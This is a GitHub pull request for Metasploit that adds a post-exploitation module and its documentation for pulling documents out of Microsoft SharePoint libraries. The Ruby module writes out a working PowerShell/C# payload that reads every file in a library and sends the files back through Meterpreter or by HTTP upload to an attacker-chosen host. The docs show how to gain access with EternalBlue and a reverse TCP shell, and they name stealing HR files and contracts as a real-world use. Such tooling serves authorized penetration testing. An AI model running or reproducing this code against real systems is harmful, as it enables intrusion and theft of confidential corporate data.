Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Sharepoint Document Extractor #19966

Open
wants to merge 19 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
19 commits
Select commit Hold shift + click to select a range
9e7d230
Add post/windows/gather/sharepoint_document_extractor module
Vikramvermahsoft Mar 17, 2025
7aafdaa
Updated Author Name
Vikramvermahsoft Mar 17, 2025
46a71af
Added Notes section.
Vikramvermahsoft Mar 17, 2025
1236a16
Rubocop and msftidy validation
Vikramvermahsoft Mar 17, 2025
1a3da4f
Updated author
Vikramvermahsoft Mar 17, 2025
ca33a59
Additional msftidy validation
Vikramvermahsoft Mar 17, 2025
0ac5bc9
Updated author
Vikramvermahsoft Mar 17, 2025
b1cf32a
Added docs
Vikramvermahsoft Mar 17, 2025
c26a593
updated docs
Vikramvermahsoft Mar 17, 2025
b0a70ac
Update modules/post/windows/gather/sharepoint_document_extractor.rb
Vikramvermahsoft Mar 18, 2025
053354d
Update modules/post/windows/gather/sharepoint_document_extractor.rb
Vikramvermahsoft Mar 18, 2025
43b6486
Update modules/post/windows/gather/sharepoint_document_extractor.rb
Vikramvermahsoft Mar 18, 2025
8ea7240
Update modules/post/windows/gather/sharepoint_document_extractor.rb
Vikramvermahsoft Mar 18, 2025
60bf23f
Address reviewer feedback and RuboCop offenses
Vikramvermahsoft Mar 18, 2025
fe34e2e
Removed unnecessary comments
Vikramvermahsoft Mar 18, 2025
359da82
Update modules/post/windows/gather/sharepoint_document_extractor.rb
Vikramvermahsoft Mar 21, 2025
80ec1d2
Resolve uninitialized constant error and maintain RuboCop fixes
Vikramvermahsoft Mar 21, 2025
2751b4c
Merge branch 'sharepoint-document-extractor' of https://github.com/Vi…
Vikramvermahsoft Mar 21, 2025
15d426d
Fixed merge error
Vikramvermahsoft Mar 21, 2025
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,113 @@
# SharePoint Document Library Enumerator and Extractor

This document provides detailed instructions for setting up, verifying, and using the `post/windows/gather/sharepoint_document_extractor` module in Metasploit. It’s designed to help someone troubleshoot the module if it stops functioning with specific links and examples for clarity.

<!-- ## Vulnerable Application -->

This module targets Microsoft SharePoint Server installations on Windows systems. It requires a compromised Windows session (e.g., via Meterpreter) with access to SharePoint’s .NET assemblies (`Microsoft.SharePoint.dll`), which are included in a standard SharePoint installation.

### Setup Instructions
- **Supported Versions:** Tested on SharePoint Server 2016 and 2019. Future versions (e.g., SharePoint Server Subscription Edition) should work if the .NET API remains compatible.
- **Operating System:** Windows Server (e.g., 2016, 2019, 2022).
- **Installation:**
1. **Obtain SharePoint Server:**
- As of 2025, trials are available from Microsoft’s Evaluation Center (https://www.microsoft.com/en-us/evalcenter/). If links break, check the Wayback Machine (https://archive.org).
- Example: SharePoint Server 2016 trial ISO (SHA256: check Microsoft archives if available).
2. **Install on a Windows Server VM:**
- Use VirtualBox or VMware with 8GB RAM and 100GB disk recommended.
- Follow Microsoft’s setup guide: https://learn.microsoft.com/en-us/sharepoint/install/install-sharepoint-server (or archived versions if unavailable).
- Default installation includes required .NET assemblies; no special configuration beyond site setup is needed.
3. **Configure a SharePoint Site:**
- Create a site (e.g., `http://<server_ip>`) via SharePoint Central Administration.
- Add a document library named “Documents” (default) and upload test files (e.g., `test.pdf`, `doc1.docx`, each <10MB).
- **Dependencies:** Requires .NET Framework 4.5+ and SharePoint assemblies (`Microsoft.SharePoint.dll`), standard with SharePoint installs.

<!-- ## Verification Steps -->

1. **Install SharePoint:**
- Set up SharePoint Server on a Windows VM as described above.
- Upload test files (e.g., `test.pdf`, `doc1.docx`) to the “Documents” library.
2. **Start `msfconsole`:**

msfconsole
Load the Module:
Comment on lines +24 to +33
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The formatting from about here until the document ends is not exactly well-structured markdown.

The document should follow our standard template. There's an msftidy_docs.rb file that should also be run on the docs page to identify common issues. You should also be careful to note that different markdown rendering engines will show things slightly differently. We should ensure that the one used by Metasploit when msfconsole's info -d command is run will display the content correctly.


use post/windows/gather/sharepoint_document_extractor
Set Options:

set SESSION <session_id> # Replace with your session ID from 'sessions -l'
set SITE_URL http://<target_ip>
set LIBRARY Documents
Run the Module:

run
Expected Result: Files are extracted to loot (Meterpreter) or sent via HTTP:

[*] Generating SharePoint document extractor payload...
[*] Executing payload on target session 1...
[*] Info: Enumerating:Documents:2 items
[+] Saved test.pdf to /root/.msf4/loot/20250317_123456_test.pdf
[+] Saved doc1.docx to /root/.msf4/loot/20250317_123457_doc1.docx
[*] Post module execution completed
<!-- ## Options -->
SITE_URL
Description: The full URL of the SharePoint site to target (e.g., http://192.168.1.100).
Usage: Must match the target’s SharePoint site exactly, including port if non-standard (e.g., http://192.168.1.100:8080). Use http:// (not https://) unless SSL is configured and accessible from the compromised session.
Default: http://sharepoint.local (update based on your test environment).
LIBRARY
Description: The name of the SharePoint document library to extract files from (e.g., Documents).
Usage: Must match an existing library on the target site. Case-sensitive in some SharePoint versions—verify via the SharePoint web interface.
Default: Documents (common default library name).
EXFIL_METHOD
Description: Specifies the method to exfiltrate files: METERPRETER (stores files as loot) or HTTP (sends files to an attacker-controlled server).
Usage: Set to METERPRETER for local loot storage or HTTP with EXFIL_HOST and EXFIL_PORT for remote transfer.
Default: METERPRETER.
EXFIL_HOST
Description: The IP or hostname of the attacker’s server for HTTP exfiltration (e.g., 192.168.1.101).
Usage: Required if EXFIL_METHOD is HTTP. Must be reachable from the target (e.g., run python3 -m http.server 8080 on Kali).
Default: Empty (not set).
EXFIL_PORT
Description: The port on the EXFIL_HOST for HTTP exfiltration (e.g., 8080).
Usage: Match the port of your HTTP server. Ensure no firewall blocks it on the target network.
Default: 8080.
MAX_SIZE
Description: Maximum file size (in bytes) to exfiltrate (e.g., 10485760 = 10MB).
Usage: Adjust to filter larger files; files exceeding this are skipped with a “SKIP:SizeExceeded” message.
Default: 10485760 (10MB).
<!-- ## Scenarios -->
SharePoint 2016 on Windows Server 2016 with Meterpreter Exfiltration
This scenario simulates extracting sensitive documents from a SharePoint server in a corporate network after gaining a Meterpreter session.

Steps:
Compromise the Target:
Use an exploit to gain a Meterpreter session:

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.101
set LPORT 4444
exploit
Confirm session: sessions -l (e.g., ID 1).
Load and Configure the Module:

use post/windows/gather/sharepoint_document_extractor
set SESSION 1
set SITE_URL http://192.168.1.100
set LIBRARY Documents
Run the Module:

run

Output:

[*] Generating SharePoint document extractor payload...
[*] Executing payload on target session 1...
[*] Info: Enumerating:Documents:3 items
[+] Saved report.pdf to /root/.msf4/loot/20250317_123456_report.pdf
[+] Saved memo.docx to /root/.msf4/loot/20250317_123457_memo.docx
[*] Post module execution completed
Notes:
Troubleshooting: If files don’t extract, verify SITE_URL is reachable from the target (execute -H -i -f cmd.exe then ping 192.168.1.100). Check Microsoft.SharePoint.dll in C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\<version>\ISAPI\.
Real-World Use: Extracting HR documents or contracts from a corporate SharePoint instance post-compromise.
185 changes: 185 additions & 0 deletions modules/post/windows/gather/sharepoint_document_extractor.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,185 @@
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# Gathers documents from a SharePoint library using the .NET API.
# Supports HTTP and Meterpreter exfiltration with size filtering.
#
# Enumerates and extracts documents from a specified SharePoint library using the
# SharePoint .NET API. Runs in an existing Windows session (e.g., Meterpreter or shell)
# on a SharePoint server, supporting HTTP or Meterpreter exfiltration with configurable
# filters for file size and library targeting. Requires SharePoint assemblies access.
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Powershell

Rank = NormalRanking

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SharePoint Document Library Enumerator and Extractor',
'Description' => '
Enumerates and extracts documents from a specified SharePoint library using the
SharePoint .NET API. Designed to run in an existing Windows session (e.g., Meterpreter)
on a SharePoint server. Supports exfiltration via HTTP or Meterpreter channels,
with configurable filters for file size and library targeting. Requires execution
in a context with access to SharePoint assemblies and appropriate permissions.',
'Author' => ['Vikram Verma'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Notes' => {
'Stability' => ['crash-safe'],
'Reliability' => ['repeatable-session'],
'SideEffects' => ['network-traffic']
}
)
)
register_module_options
end

def register_module_options
register_options(build_options)
end

def build_options
[
OptString.new('SITE_URL', [true, 'Full URL of the SharePoint site', 'http://sharepoint.local']),
OptString.new('LIBRARY', [true, 'Target document library name', 'Documents']),
OptEnum.new('EXFIL_METHOD',
[true, 'Exfiltration method (HTTP or METERPRETER)', 'METERPRETER', %w[HTTP METERPRETER]]),
OptString.new('EXFIL_HOST', [false, 'Host for HTTP exfiltration', '']),
OptInt.new('EXFIL_PORT', [false, 'Port for HTTP exfiltration', 8080]),
OptInt.new('MAX_SIZE', [true, 'Max file size to exfiltrate (bytes)', 10_485_760]) # 10MB
]
end

def check
return Exploit::CheckCode::Safe('Target is not a Windows system') unless session.platform == 'windows'

Exploit::CheckCode::Appears('Module ready to run on Windows session')
end

def run
fail_with(Failure::BadConfig, 'No active session available') unless session

handle_exfiltration_config
execute_payload
end

def execute_payload
print_status('Generating SharePoint document extractor payload...')
encoded_cmd = encode_script(build_ps_payload)
print_status("Executing payload on target session #{session.sid}...")
output = execute_script(encoded_cmd)
process_output(output) if output
print_status('Check session output manually for results.') unless session.type == 'meterpreter'
end

def build_ps_payload
<<~PS
try {
Add-Type -TypeDefinition @"
#{build_dotnet_code}
"@ -ReferencedAssemblies "Microsoft.SharePoint.dll","System.Web.dll" -ErrorAction Stop
[SharePointExtractor]::ExtractDocs('#{datastore['SITE_URL']}', '#{datastore['LIBRARY']}',
'#{datastore['EXFIL_HOST']}', #{datastore['EXFIL_PORT']}, #{datastore['MAX_SIZE']})
} catch {
Write-Output "FATAL:AssemblyLoadError:" + $_.Exception.Message
}
PS
end

def build_dotnet_code
<<~CSHARP
using Microsoft.SharePoint;
using System;
using System.IO;
using System.Net;

public class SharePointExtractor {
public static void ExtractDocs(string site_url, string library_name, string exfil_host, int exfil_port, long max_size) {
try {
using (SPSite site = new SPSite(site_url)) {
using (SPWeb web = site.OpenWeb()) {
SPList list = web.Lists[library_name];
if (list == null) { Console.WriteLine("ERROR:LibraryNotFound:" + library_name); return; }
SPDocumentLibrary library = list as SPDocumentLibrary;
if (library == null) { Console.WriteLine("ERROR:NotADocumentLibrary:" + library_name); return; }
Console.WriteLine("INFO:Enumerating:" + library_name + ":" + library.Items.Count + " items");
foreach (SPListItem item in library.Items) {
try {
SPFile file = item.File;
if (file.Length > max_size) { Console.WriteLine("SKIP:SizeExceeded:" + file.Name + ":" + file.Length); continue; }
byte[] file_bytes = file.OpenBinary();
string file_name = file.Name;
string encoded_file_name = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(file_name));
if (!string.IsNullOrEmpty(exfil_host)) {
using (WebClient client = new WebClient()) {
client.Headers.Add("X-Filename", encoded_file_name);
client.UploadData("http://" + exfil_host + ":" + exfil_port + "/upload", file_bytes);
Console.WriteLine("SUCCESS:HTTP:" + encoded_file_name + ":" + file_bytes.Length);
}
} else {
string b64 = Convert.ToBase64String(file_bytes);
Console.WriteLine("FILE:" + encoded_file_name + ":" + b64);
}
} catch (Exception ex) {
Console.WriteLine("ERROR:FileProcessing:" + item.Name + ":" + ex.Message);
}
}
}
}
} catch (Exception e) {
Console.WriteLine("FATAL:GeneralError:" + e.Message);
}
}
}
CSHARP
end

def handle_exfiltration_config
method = datastore['EXFIL_METHOD'].upcase
if method == 'METERPRETER' && session.type != 'meterpreter'
fail_with(Failure::BadConfig,
'METERPRETER requires a Meterpreter session')
end
print_status("Exfiltration method: #{method}")
end

def process_output(output)
return unless output.present?

output.split("\n").each do |line|
handle_output_line(line)
end
end

def handle_output_line(line)
case line
when /^FILE:([^:]+):(.*)$/ then save_file(Regexp.last_match(1), Regexp.last_match(2))
when /^SUCCESS:HTTP:([^:]+):(\d+)$/ then print_http_success(Regexp.last_match(1), Regexp.last_match(2))
when /^ERROR:(.+)$/ then print_error("Error: #{Regexp.last_match(1)}")
when /^INFO:(.+)$/ then print_status("Info: #{Regexp.last_match(1)}")
when /^SKIP:(.+)$/ then print_warning("Skipped: #{Regexp.last_match(1)}")
when /^FATAL:(.+)$/ then fail_with(Failure::Unknown, "Fatal error: #{Regexp.last_match(1)}")
end
end

def print_http_success(encoded_file_name, bytes)
file_name = Rex::Text.decode_base64(encoded_file_name)
print_good("Exfiltrated #{file_name} via HTTP (#{bytes} bytes)")
end

def save_file(encoded_file_name, b64_data)
file_name = Rex::Text.decode_base64(encoded_file_name)
file_path = store_loot('sharepoint.document', 'application/octet-stream', session,
Rex::Text.decode_base64(b64_data), file_name)
print_good("Saved #{file_name} to #{file_path}")
end
end